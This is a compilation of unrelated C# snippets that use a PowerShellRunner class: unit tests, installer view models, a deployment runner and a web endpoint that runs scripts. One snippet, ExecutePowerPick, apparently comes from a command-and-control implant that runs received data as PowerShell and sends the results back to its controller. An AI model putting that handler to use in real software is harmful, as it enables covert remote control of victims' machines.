public void TestFormatter() { var outputLines = new List <string>(); var parameters = new Dictionary <string, string> { { "ServerInstance", "." }, { "Username", "sa" }, { "Password", "SA_PASSWORD" } }; var conf = new RunnerConfiguration { IsRemote = false, OnObjectOutput = line => { outputLines.Add(line); }, Parameters = parameters }; var runner = new PowerShellRunner(conf); runner.Run(ScriptFile); Assert.AreEqual(outputLines.Count, 2); Assert.IsTrue(outputLines.ElementAt(0).Contains("Connecting")); Assert.IsTrue(outputLines.ElementAt(1).Contains("TimeOfQuery")); }
public void RunScript_GivenGivenBuildConfig_ShouldExecuteAllScriptsInDefaultOrder() { //---------------Set up test pack------------------- var powerShellRunner = new PowerShellRunner(@"Runner"); var serialiser = new PrismaticJsonSerialiser(); var document = GetFile(@"build.json"); var buildConfig = serialiser.Deserialise <DefaultBuildConfig>(document); var defaultBuildIterator = new DefaultBuildIterator(buildConfig); //---------------Assert Precondition---------------- //---------------Execute Test ---------------------- var scriptResults = powerShellRunner.RunScripts(defaultBuildIterator); //---------------Test Result ----------------------- Assert.IsNotNull(scriptResults); Assert.IsTrue(scriptResults.Any()); Assert.AreEqual("Hello World In before_install!", scriptResults[0].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In install!", scriptResults[1].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In before_script!", scriptResults[2].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In script!", scriptResults[3].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In after_success!", scriptResults[4].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In after_failure!", scriptResults[5].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In before_deploy!", scriptResults[6].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In deploy!", scriptResults[7].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In after_deploy!", scriptResults[8].ScriptOutput.Replace(Environment.NewLine, "")); Assert.AreEqual("Hello World In after_script!", scriptResults[9].ScriptOutput.Replace(Environment.NewLine, "")); }
private IRunner DetermineRunner(Mapping map) { IRunner runner; if (_runner == null) { switch (map.RunnerType) { case RunnerType.PowerShell: runner = new PowerShellRunner(); break; case RunnerType.BatchFile: runner = new BatchFileRunner(); break; default: runner = new PowerShellRunner(); break; } } else { runner = _runner; } return(runner); }
public void ShouldReturnValueOfEnvironmentVariable() { var pr = new PowerShellRunner(); pr.ExecuteCommand("$Env:TEMP", null); Assert.IsFalse(pr.ErrorOccurred, "ErrorOccurred"); StringAssert.Contains(pr.Output, Environment.GetEnvironmentVariable("TEMP")); }
public ShellViewModel(IEventAggregator eventAggregator, ChocolateyInstaller chocolateyInstaller, LicenseAgreement licenseAgreement, ILifetimeScope lifetimeScope, PowerShellRunner powerShellRunner) { this.chocolateyInstaller = chocolateyInstaller; this.licenseAgreement = licenseAgreement; this.lifetimeScope = lifetimeScope; this.powerShellRunner = powerShellRunner; this.eventAggregator = eventAggregator; RunStartupSequence(); }
public void ShouldReturnFormattedObjects() { var pr = new PowerShellRunner(); pr.ExecuteCommand("Get-ChildItem Env:", null); Assert.IsFalse(pr.ErrorOccurred, "ErrorOccurred"); StringAssert.Contains(pr.Output, Environment.GetEnvironmentVariable("TEMP")); }
public InstallingViewModel(PackageDefinitionService packageDefinitionDiscovery, ChocolateyInstaller chocolateyInstaller, IEventAggregator eventAggregator, PackageManager packageManager, IWindowManager windowManager, PowerShellRunner powerShellRunner, List<string> itemsToInstall) { PackageDefinitionService = packageDefinitionDiscovery; this.chocolateyInstaller = chocolateyInstaller; this.eventAggregator = eventAggregator; this.packageManager = packageManager; this.windowManager = windowManager; this.powerShellRunner = powerShellRunner; this.itemsToInstall = itemsToInstall; }
public void Construct_PowerShellRunner() { //---------------Set up test pack------------------- //---------------Assert Precondition---------------- //---------------Execute Test ---------------------- var powerShellRunner = new PowerShellRunner(); //---------------Test Result ----------------------- Assert.IsNotNull(powerShellRunner); }
public void Should_Throw_When_FileNotFound() { var powershell = new PowerShellScript { FileName = string.Empty }; var handler = new PowerShellRunner(_processStarter); var request = HealthCheckRequest.Create(powershell); handler.Handle(request, CancellationToken.None); }
public void Should_Execute_PowerShellScript() { var powershell = new PowerShellScript { FileName = Path.Combine(_testContext.TestRunDirectory, "Out", "PowerShell.ps1") }; var handler = new PowerShellRunner(_processStarter); var request = HealthCheckRequest.Create(powershell); handler.Handle(request, CancellationToken.None); Assert.AreSame(State.Ok, request.DataContext.State); }
private void ExecutePowerPick(byte[] data) { try { using (var runner = new PowerShellRunner()) { var result = runner.InvokePS(Encoding.UTF8.GetString(data)); if (!string.IsNullOrEmpty(result)) { Agent.SendOutput(result); } } } catch (Exception e) { Agent.SendError(e.Message); } }
public void RunScript_GivenBeforeInstallScript_ShouldExecuteScript() { //---------------Set up test pack------------------- var powerShellRunner = new PowerShellRunner(); var folderName = "Runner"; var scriptName = "before_install.ps1"; var scriptPath = Path.Combine(folderName, scriptName); //---------------Assert Precondition---------------- Assert.IsTrue(File.Exists(scriptPath)); //---------------Execute Test ---------------------- var scriptResult = powerShellRunner.RunScript(scriptPath); //---------------Test Result ----------------------- Assert.IsNotNull(scriptResult); Assert.AreEqual("Hello World In before_install!", scriptResult.ScriptOutput); Assert.IsTrue(scriptResult.IsSuccess); }
public void ShouldOutputSufficientFailureDetailsWhenScriptStops() { string TestScriptFileName = Path.GetRandomFileName() + ".ps1"; string TestDirectory = Path.GetTempPath(); var ScriptFile = new FileInfo(Path.Combine(TestDirectory, TestScriptFileName)); using (var stream = ScriptFile.OpenWrite()) using (var writer = new StreamWriter(stream, Encoding.ASCII)) { writer.Write(PowerShellScripts.FailingPowerShellScript); } var TestMapping = new Mapping() { Computer = Environment.MachineName, NewQuality = "Released", OriginalQuality = null, Script = TestScriptFileName, ScriptParameters = new List <ScriptParameter>() }; var TestBuildDetail = new StubBuildDetail(); var TestBuildInfo = new global::TfsDeployer.BuildInformation(TestBuildDetail); IRunner pr = new PowerShellRunner(); bool result; try { result = pr.Execute(TestDirectory, TestMapping, TestBuildInfo); } finally { ScriptFile.Delete(); } Assert.IsTrue(result, "bool IRunnerExecute( , , )"); Assert.IsTrue(pr.ErrorOccurred, "IRunner.ErrorOccurred"); StringAssert.Contains(pr.Output, "<<<<", "IRunner.Output"); // <<<< is pointer to error position }
public void TestProgress() { var progress = new List <int>(); var conf = new RunnerConfiguration { IsRemote = false, OnProgress = i => { progress.Add(i); }, }; var executor = new PowerShellRunner(conf); executor.Run(ScriptFile); Assert.AreEqual(progress.Count, 11); for (int i = 0; i <= 10; i++) { Assert.AreEqual(progress.ElementAt(i), i * 10); } }
private Response ProcessRequest(dynamic routeParameters) { // Resolve the script being reference by the request var subPath = ((string)routeParameters["route"]); var script = string.Format("{0}.ps1", Path.Combine(_settings.ScriptRepoRoot, subPath)); if (!File.Exists(script)) { return(HttpStatusCode.NotFound); } // elements of the request will be passed to the script as named routeParameters var scriptArgs = new Dictionary <string, string>(); // Process querystring routeParameters foreach (var q in Request.Query.Keys) { scriptArgs.Add(q, Request.Query[q].Value); } // Process request body, if any var body = this.Request.Body.AsString(); if (!string.IsNullOrEmpty(body)) { scriptArgs.Add("body", body); } var res = PowerShellRunner.Execute(Request.Method, script, scriptArgs); if (!res.Success) { return(Response.AsJson(new { Error = res.Output }, HttpStatusCode.InternalServerError)); } return(Response.AsJson(res.Output)); }
public InstallingViewModel(PackageDefinitionService packageDefinitionDiscovery, ChocolateyInstaller chocolateyInstaller, IEventAggregator eventAggregator, PackageManager packageManager, IWindowManager windowManager, PowerShellRunner powerShellRunner, List <string> itemsToInstall, ILifetimeScope lifetimeScope) { PackageDefinitionService = packageDefinitionDiscovery; this.chocolateyInstaller = chocolateyInstaller; this.eventAggregator = eventAggregator; this.packageManager = packageManager; this.windowManager = windowManager; this.powerShellRunner = powerShellRunner; this.itemsToInstall = itemsToInstall; this.lifetimeScope = lifetimeScope; }
public ChocolateyInstaller(ProcessRunner processRunner, PowerShellRunner powerShellRunner) { this.processRunner = processRunner; this.powerShellRunner = powerShellRunner; }
public PSHostUserInterface(PowerShellRunner powerShellRunner) { this.powerShellRunner = powerShellRunner; }
public GroupPollicyErrorViewModel(IEventAggregator eventAggregator, PowerShellRunner powerShellRunner) { this.eventAggregator = eventAggregator; this.powerShellRunner = powerShellRunner; }
public PackageManager(PowerShellRunner powerShellRunner, ChocolateyInstaller chocolateyInstaller) { this.powerShellRunner = powerShellRunner; this.chocolateyInstaller = chocolateyInstaller; }